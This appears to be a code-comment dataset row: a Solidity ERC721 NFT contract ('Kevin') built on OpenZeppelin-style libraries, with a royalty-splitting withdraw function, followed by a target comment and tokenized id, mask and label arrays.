// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Kevin is ERC721, Ownable {
using SafeMath for uint256;
using Address for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenSupply;
string private baseURI;
uint256 public constant supplyLimit = 1001;
uint256 public constant mintPrice = 0.025 ether;//0.025 ether;
bool public mintOpen = false;
mapping(address => uint256) private _royaltyShares;
address[] private _royaltyAddresses = [
0x092C256Ab4fB3cb775646C01F18e8FD921eeD5d6, // J
0xE3a912f41Bd85836FB7FF88026386C0108A4e1F4, // S
0x913C06CeD76cb9A547A8d6D8C038F49862D1708D, // T
0x2791BDDd24b95C393fAa4600C9231D1936768fAe // S
];
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
_royaltyShares[_royaltyAddresses[0]] = 25; // Royalty for Wallet 1
_royaltyShares[_royaltyAddresses[1]] = 25; // Royalty for Wallet 2
_royaltyShares[_royaltyAddresses[2]] = 25; // Royalty for Wallet 3
_royaltyShares[_royaltyAddresses[3]] = 25; // Royalty for Wallet 4
}
function mint(uint numberOfMints) public payable {
uint256 supply = _tokenSupply.current() + 1;
require(mintOpen, "Sale needs to be active");
require(numberOfMints > 0 && numberOfMints < 11, "Invalid purchase amount");
require(supply.add(numberOfMints) <= supplyLimit, "Payment exceeds total supply");
if(supply >= 500){
require(msg.value >= mintPrice.mul(numberOfMints), "Incorrect Eth amount");
}
for(uint256 i = 1; i <= numberOfMints; i++){
_safeMint(msg.sender, supply + i);
_tokenSupply.increment();
}
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function setBaseURI(string calldata newBaseUri) external onlyOwner {
baseURI = newBaseUri;
}
function toggleSale() public onlyOwner {
mintOpen = !mintOpen;
}
function returnbalance() external view returns(uint256){
uint256 balance = address(this).balance;
return balance;
}
function returnCounter() external view returns(uint256){
return _tokenSupply.current();
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override {
ERC721.safeTransferFrom(from, to, tokenId, data);
}
function withdraw() external onlyOwner {
require(address(this).balance > 0, "EMPTY_BALANCE");
uint256 balance = address(this).balance;
for (uint256 i = 0; i < _royaltyAddresses.length; i++) {
payable(_royaltyAddresses[i]).transfer(
balance.div(100).mul(_royaltyShares[_royaltyAddresses[i]])
);
}
}
} | Royalty for Wallet 1
| _royaltyShares[_royaltyAddresses[0]] = 25; | 6,268,500 | [
1,
54,
13372,
15006,
364,
20126,
404,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
389,
3800,
15006,
24051,
63,
67,
3800,
15006,
7148,
63,
20,
13563,
273,
6969,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
